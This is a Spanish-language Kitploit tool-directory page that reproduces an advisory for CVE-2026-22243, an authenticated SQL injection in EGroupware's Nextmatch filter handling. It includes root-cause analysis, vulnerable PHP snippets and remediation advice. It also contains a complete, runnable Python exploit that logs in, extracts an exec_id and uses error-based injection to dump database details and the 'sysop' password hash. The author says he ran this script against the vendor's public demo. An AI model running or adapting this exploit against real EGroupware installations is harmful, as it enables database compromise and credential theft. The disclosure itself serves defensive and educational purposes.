Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/lukasz-rybak/cve-2026-22243
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de Datos
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware tiene inyección SQL en el procesamiento de filtros de Nextmatch

Ver Repositorio
4hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-22243: EGroupware tiene inyección SQL en el procesamiento de filtros Nextmatch

Descripción general

CampoDetalles
ID de CVECVE-2026-22243
GravedadALTA
AvisoVer aviso
Descubierto porLukasz Rybak

Productos afectados

  • egroupware/egroupware (versiones: < 23.1.20260113)
  • egroupware/egroupware (versiones: >= 26.0.20251208, < 26.0.20260113)

Clasificación CWE

  • CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL ('Inyección SQL')

Detalles

Resumen

Inyección SQL autenticada crítica en el procesamiento de filtros del widget Nextmatch

Existe una vulnerabilidad crítica de inyección SQL en los componentes principales de EGroupware, específicamente en el procesamiento de filtros Nextmatch. La falla permite a atacantes autenticados inyectar comandos SQL arbitrarios en la cláusula WHERE de las consultas a la base de datos. Esto se logra explotando un problema de manipulación de tipos de PHP en el que la decodificación JSON convierte cadenas numéricas en enteros, omitiendo la comprobación de seguridad is_int() utilizada por la aplicación.

Detalles

Análisis de la causa raíz La vulnerabilidad existe en la forma en que la capa de abstracción de base de datos (Api\Db) y las clases de almacenamiento de alto nivel (Api\Storage\Base, infolog_so) procesan la matriz col_filter utilizada en los widgets "Nextmatch".

La aplicación intenta validar la entrada usando is_int($key) para determinar si una clave de matriz representa un fragmento SQL crudo en el que se puede confiar. Sin embargo, al procesar solicitudes POST basadas en JSON, json_decode de PHP convierte automáticamente las claves de cadena numéricas (por ejemplo, "0") en enteros nativos.

En consecuencia, un atacante puede enviar una carga útil JSON con una matriz asociativa que contenga claves numéricas. La aplicación interpreta estas claves como enteros (is_int devuelve true) y añade ciegamente los valores asociados, que contienen SQL malicioso, directamente a la consulta.

Ubicaciones de código vulnerables

  1. Archivo: sources/egroupware/api/src/Db.php (Aprox. Línea 1776) Método: column_data_implode
root@kitploit:~
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. Archivo: sources/egroupware/api/src/Storage/Base.php (Aprox. Línea 1134) Método: parse_search
root@kitploit:~
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

He verificado esta vulnerabilidad en una instancia Docker local y la he confirmado (en modo solo lectura) en su instancia de demostración pública (demo.egroupware.net).

Script de explotación automatizado: El siguiente script automatiza el inicio de sesión, la extracción de exec_id y la exfiltración de datos mediante inyección SQL basada en errores.

root@kitploit:~
import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
            
            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

Prueba de verificación en demo.egroupware.net:

Ejecuté el script contra su demostración pública para confirmar la explotabilidad en un entorno similar a producción (solo lectura). image

Impacto: Los atacantes con acceso de bajo privilegio pueden comprometer por completo la base de datos. Esto permite:

  • Pérdida de confidencialidad: Lectura de datos sensibles (por ejemplo, hashes de contraseñas, tokens de sesión, datos de contacto personales, secretos de configuración).
  • Pérdida de integridad: Modificación o eliminación de datos arbitrarios dentro de la aplicación.
  • Pérdida de disponibilidad: Posibilidad de eliminar tablas o corromper datos.

Remediación

1. Validación de entrada (lista blanca) No confíe únicamente en is_int() para decisiones de seguridad al manejar entradas externas, especialmente datos JSON donde las claves pueden ser cadenas numéricas. Implemente una lista blanca (allowlist) estricta de nombres de columna permitidos para el filtrado en los widgets Nextmatch. Si la clave/columna no está en la lista blanca, rechace la solicitud.

2. Enlace de parámetros Asegúrese de que todos los valores de filtro se vinculen como parámetros (sentencias preparadas) en lugar de concatenarse directamente en la cadena SQL.

3. Comprobación estricta de tipos Al procesar entradas JSON, asegúrese de que las claves se comprueben estrictamente contra los tipos esperados (por ejemplo, usando === para comparación estricta o filter_var) antes de usarlas en la lógica de generación SQL.

Créditos

Reportado por Łukasz Rybak

Referencias

  • https://github.com/EGroupware/egroupware/security/advisories/GHSA-rvxj-7f72-mhrx
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22243
  • https://github.com/EGroupware/egroupware/releases/tag/23.1.20260113
  • https://github.com/EGroupware/egroupware/releases/tag/26.0.20260113
  • https://github.com/advisories/GHSA-rvxj-7f72-mhrx

Aviso legal

Este CVE fue divulgado de manera responsable siguiendo prácticas de divulgación coordinada de vulnerabilidades. La información proporcionada aquí es únicamente con fines educativos y defensivos.

Descargar herramienta